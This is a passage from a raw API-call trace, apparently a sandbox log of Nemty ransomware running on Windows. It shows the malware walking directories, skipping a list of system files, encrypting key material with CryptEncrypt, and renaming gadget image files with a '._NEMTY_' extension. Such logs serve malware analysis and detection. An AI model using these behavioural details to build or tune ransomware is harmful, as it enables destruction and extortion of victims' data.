lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0138.454] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0138.454] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0138.454] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0138.454] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0138.463] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0138.463] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0138.464] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0138.464] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0138.473] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0138.473] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0138.473] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0138.473] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0138.526] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0138.526] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0138.526] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0138.526] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0138.532] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0138.532] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0138.532] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106163108, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0138.532] WriteFile (in: hFile=0xffffffff, lpBuffer=0x63401b8, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0138.532] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6351c48 | out: hHeap=0x4f90000) returned 1 [0138.532] CloseHandle (hObject=0xffffffff) returned 0 [0138.532] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x6340328 [0138.532] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0138.532] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0138.533] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed08, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0138.533] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0138.533] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0138.533] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x63403e0 [0138.533] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x106) returned 0x6340498 [0138.533] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63403e0 | out: hHeap=0x4f90000) returned 1 [0138.533] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0138.533] MoveFileW (lpExistingFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\PicturePuzzle.Gadget\\Images\\hint_up.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\picturepuzzle.gadget\\images\\hint_up.png"), lpNewFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\PicturePuzzle.Gadget\\Images\\hint_up.png._NEMTY_kGOBjgD_" (normalized: "c:\\program files\\windows sidebar\\gadgets\\picturepuzzle.gadget\\images\\hint_up.png._nemty_kgobjgd_")) returned 0 [0138.533] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340498 | out: hHeap=0x4f90000) returned 1 [0138.533] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340328 | out: hHeap=0x4f90000) returned 1 [0138.533] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f93620 | out: hHeap=0x4f90000) returned 1 [0138.533] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63401b8 | out: hHeap=0x4f90000) returned 1 [0138.533] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0138.533] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0138.533] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0138.533] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340100 | out: hHeap=0x4f90000) returned 1 [0138.533] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x84bf0f14, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x84bf0f14, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x3b719741, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x8c, dwReserved0=0x344c1f0, dwReserved1=0x0, cFileName="settings_box_bottom.png", cAlternateFileName="")) returned 1 [0138.533] lstrcmpiW (lpString1="settings_box_bottom.png", lpString2=".") returned 1 [0138.533] lstrcmpiW (lpString1="settings_box_bottom.png", lpString2="..") returned 1 [0138.533] lstrcmpiW (lpString1="settings_box_bottom.png", lpString2="...") returned 1 [0138.533] lstrcmpiW (lpString1="settings_box_bottom.png", lpString2="windows") returned -1 [0138.533] lstrcmpiW (lpString1="settings_box_bottom.png", lpString2="$RECYCLE.BIN") returned 1 [0138.533] lstrcmpiW (lpString1="settings_box_bottom.png", lpString2="rsa") returned 1 [0138.533] lstrcmpiW (lpString1="settings_box_bottom.png", lpString2="NTDETECT.COM") returned 1 [0138.533] lstrcmpiW (lpString1="settings_box_bottom.png", lpString2="ntldr") returned 1 [0138.533] lstrcmpiW (lpString1="settings_box_bottom.png", lpString2="MSDOS.SYS") returned 1 [0138.533] lstrcmpiW (lpString1="settings_box_bottom.png", lpString2="IO.SYS") returned 1 [0138.533] lstrcmpiW (lpString1="settings_box_bottom.png", lpString2="boot.ini") returned 1 [0138.533] lstrcmpiW (lpString1="settings_box_bottom.png", lpString2="boot.ini") returned 1 [0138.533] lstrcmpiW (lpString1="settings_box_bottom.png", lpString2="AUTOEXEC.BAT") returned 1 [0138.534] lstrcmpiW (lpString1="settings_box_bottom.png", lpString2="ntuser.dat") returned 1 [0138.534] lstrcmpiW (lpString1="settings_box_bottom.png", lpString2="desktop.ini") returned 1 [0138.534] lstrcmpiW (lpString1="settings_box_bottom.png", lpString2="CONFIG.SYS") returned 1 [0138.534] lstrcmpiW (lpString1="settings_box_bottom.png", lpString2="RECYCLER") returned 1 [0138.534] lstrcmpiW (lpString1="settings_box_bottom.png", lpString2="BOOTSECT.BAK") returned 1 [0138.534] lstrcmpiW (lpString1="settings_box_bottom.png", lpString2="bootmgr") returned 1 [0138.534] lstrcmpiW (lpString1="settings_box_bottom.png", lpString2="programdata") returned 1 [0138.534] lstrcmpiW (lpString1="settings_box_bottom.png", lpString2="appdata") returned 1 [0138.534] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0138.534] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="settings_box_bottom.png", cchWideChar=23, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 23 [0138.534] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0138.534] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="settings_box_bottom.png", cchWideChar=23, lpMultiByteStr=0x4f9ecb8, cbMultiByte=23, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="settings_box_bottom.png", lpUsedDefaultChar=0x0) returned 23 [0138.534] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0138.534] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345640 [0138.534] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="settings_box_bottom.png", cchWideChar=23, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 23 [0138.534] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0138.534] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="settings_box_bottom.png", cchWideChar=23, lpMultiByteStr=0x4f9ecb8, cbMultiByte=23, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="settings_box_bottom.png", lpUsedDefaultChar=0x0) returned 23 [0138.534] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0138.534] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345640 | out: hHeap=0x4f90000) returned 1 [0138.534] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0138.534] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0138.534] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="settings_box_bottom.png", cchWideChar=23, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 23 [0138.534] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0138.534] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="settings_box_bottom.png", cchWideChar=23, lpMultiByteStr=0x4f9ecb8, cbMultiByte=23, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="settings_box_bottom.png", lpUsedDefaultChar=0x0) returned 23 [0138.534] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0138.534] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0138.534] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="settings_box_bottom.png", cchWideChar=23, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 23 [0138.534] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0138.534] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="settings_box_bottom.png", cchWideChar=23, lpMultiByteStr=0x4f9ed58, cbMultiByte=23, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="settings_box_bottom.png", lpUsedDefaultChar=0x0) returned 23 [0138.534] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0138.534] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc0) returned 0x6340100 [0138.534] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0138.534] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc0) returned 0x63401c8 [0138.534] Sleep (dwMilliseconds=0x5) [0138.573] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0x63e1ad0, dwHighDateTime=0x1d561e8)) [0138.573] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0x63e1ad0, dwHighDateTime=0x1d561e8)) [0138.573] GetLastError () returned 0x5 [0138.573] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0138.573] GetLastError () returned 0x5 [0138.573] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0138.573] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0138.573] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0138.573] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e920*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e920*=0x100) returned 1 [0138.573] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e924*, pdwDataLen=0x653e910*=0x10, dwBufLen=0x100 | out: pbData=0x653e924*, pdwDataLen=0x653e910*=0x100) returned 1 [0138.574] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e91c | out: pszString=0x0, pcchString=0x653e91c) returned 1 [0138.574] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6340290 [0138.574] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x6340290, pcchString=0x653e91c | out: pszString="tyVdOLDI+05s7NiYPIGdZxAmx0RyyaveyVL3bLfAjnnV6Y6pjY7sOk0F/tdPtrm1\r\nzxIATav2DohxqyR0uXumY7L35o4Jwd6Cfvsz2ydLUWB4/l4MRek+iIIL9ysZDOYH\r\n1sF1AULqGt+S8tnmVDg+y0ChgPUR4X67/FfKLpTJ7w2CfYxUMwXnZ+wg/R9bxR1d\r\nGxvwHAbLBZaG+ccHt2qUk4981OoHe5nhERF1g8k6zR+xReg2WoYJ3C5A7idKOaEY\r\n4YqvxzbjeB85HvRjk1jYj7jqG2czl2AvV7WOcvL52MOF2MZRuKSSHhBG26vxBkHV\r\nm3LIIRiSu7IushnKblw0iQ==\r\n", pcchString=0x653e91c) returned 1 [0138.574] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0138.574] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340290 | out: hHeap=0x4f90000) returned 1 [0138.574] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0138.574] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f93620 [0138.574] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6340290 [0138.574] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0138.574] CreateFileW (lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\PicturePuzzle.Gadget\\Images\\settings_box_bottom.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\picturepuzzle.gadget\\images\\settings_box_bottom.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0138.574] GetFileSizeEx (in: hFile=0xffffffff, lpFileSize=0x653eb70 | out: lpFileSize=0x653eb70*=18150282790955940) returned 0 [0138.574] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x27100) returned 0x6351c48 [0138.574] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0138.574] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0138.583] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0138.583] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0138.583] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0138.584] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0138.593] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0138.593] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0138.593] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0138.593] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0138.602] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0138.602] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0138.602] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0138.602] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0138.651] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0138.651] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0138.651] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0138.651] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0138.661] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0138.661] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0138.661] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0138.661] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0138.670] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0138.670] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0138.670] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0138.670] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0138.680] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0138.680] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0138.680] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0138.680] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0138.730] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0138.730] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0138.730] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0138.730] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0138.740] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0138.740] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0138.740] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0138.740] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0138.749] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0138.749] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0138.749] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0138.749] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0138.755] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, 